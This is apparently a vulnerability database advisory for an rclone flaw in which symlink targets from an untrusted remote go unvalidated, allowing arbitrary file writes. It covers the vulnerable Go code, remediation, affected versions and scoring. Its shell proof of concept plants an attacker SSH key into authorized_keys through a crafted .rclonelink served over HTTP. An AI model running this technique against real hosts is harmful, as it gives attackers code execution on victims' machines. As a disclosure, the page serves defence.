Skip to content

GHSA-cf44-9pgv-m4xc BIT-rclone-2026-54572 CVE-2026-54572 GO-2026-6191

rclone: Unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remote

High Go
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.40%
Chance of exploitation in the next 30 days. Higher than 34.72% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-59 Improper Link Resolution Before File Access ('Link Following')
Fix
1.74.4
Upgrade github.com/rclone/rclone to this version or later

Description

Summary

With -l/--links, rclone serializes symlinks as <name>.rclonelink text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with os.Symlink(<object body>, <dest path>) and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or ../ path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named <name>.rclonelink sorts before <name>/..., rclone creates the escaping symlink first and then writes a following object "inside" it; mkdirAll/OpenFile follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting ~/.ssh/authorized_keys, ~/.bashrc, or a crontab — i.e. code execution.

Details

backend/local/local.go, Object.Update():

} else {
    out = nopWriterCloser{&symlinkData}          // body of <name>.rclonelink = attacker data
}
...
if o.translatedLink {
    if err == nil {
        if _, err := os.Lstat(o.path); err == nil {
            os.Remove(o.path)
        }
        // Use the contents for the copied object to create a symlink
        err = os.Symlink(symlinkData.String(), o.path)   // <-- target NEVER validated (abs / .. allowed)
    }
}

symlinkData is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (mkdirAll() → file.MkdirAll, then file.OpenFile(..., O_CREATE)) follows existing symlink components with no O_NOFOLLOW, so a file written under the planted symlinked directory escapes the destination.

PoC

  1. Get the official stable binary:
curl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip
unzip -j rclone-v1.74.3-linux-amd64.zip '*/rclone' -d .      # ./rclone -> v1.74.3
  1. Create an attacker-controlled "remote" (two objects) and a victim layout:
mkdir -p evil/pwn dest victimhome/.ssh
printf '%s' "$PWD/victimhome/.ssh" > evil/pwn.rclonelink              # body = abs path OUTSIDE dest
printf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\n' > evil/pwn/authorized_keys
ls -l victimhome/.ssh                                                 # empty (before)
  1. Serve the malicious remote (models any untrusted remote — bucket / WebDAV / HTTP share):
cd evil && python3 -m http.server 38080 --bind 127.0.0.1
  1. VICTIM ACTION — back up the untrusted remote preserving symlinks:
./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v
  1. Observe — a file landed OUTSIDE ./dest:
ls -l dest/pwn                       # dest/pwn -> .../victimhome/.ssh   (symlink escapes dest)
cat victimhome/.ssh/authorized_keys  # ssh-ed25519 AAAA_ATTACKER_KEY pwned   <-- written outside dest

pwn.rclonelink sorts before pwn/authorized_keys, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites ~/.ssh/authorized_keys, ~/.bashrc, or a crontab → code execution.

Impact

An attacker who controls the contents of any remote a victim syncs with -l/--links gains arbitrary file write as the victim user, anywhere that user can write. Overwriting ~/.ssh/authorized_keys, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).

Remediation

In Object.Update() reject symlink targets that are absolute or escape the destination root before calling os.Symlink (resolve filepath.Join(dir, target) and require it to stay within the configured root, or refuse absolute/.. targets), and write objects with O_NOFOLLOW on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a .rclonelink with target /tmp/... and a sibling file, asserting nothing is written outside the destination.

Affected versions

Go

PackageVulnerableFixed in
github.com/rclone/rclone
< 1.74.4
1.74.4

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/rclone/rclone Go → 1.74.4

go
go get github.com/rclone/rclone@v1.74.4 && go mod tidy

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
Low

Weakness

CWE-59: Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

How to prevent it
  • Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-38xv-hf3p-h7mq
rclone: source object names can escape the configured root on upload
Medium Also affects github.com/rclone/rclone
GHSA-2p48-j3qc-rx9f
rclone: S3 multipart declared-length memory exhaustion
High Also affects github.com/rclone/rclone
GHSA-p569-5gjg-9cmj
rclone: RC per-server auth-proxy bypass
Critical Also affects github.com/rclone/rclone
GHSA-xwwr-4h3p-r22c
rclone serve s3: --auth-proxy without --auth-key authenticates nobody - full SigV4 signature bypass
Critical Also affects github.com/rclone/rclone
GHSA-c476-6w5q-jw77
rclone: FTP cross-session auth-proxy backend confusion
High Also affects github.com/rclone/rclone
GHSA-f8g7-2xjc-7mfh
rclone: Directory metadata (chmod/chown/chtimes) applied through a planted symlink in rclone local --links escapes the destination
High Also affects github.com/rclone/rclone
GHSA-p6m2-r3w9-mpxw
rclone local: crafted Range request against a translated symlink panics (DoS)
Medium Also affects github.com/rclone/rclone
GHSA-66hp-wgxq-6f5q
rclone archive/zip: Zip Slip via unsanitized zip entry names lets a malicious archive escape its own namespace
Medium Also affects github.com/rclone/rclone

Credits: Nguyễn Tiến Thành (GitHub: vnth4nhnt)

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor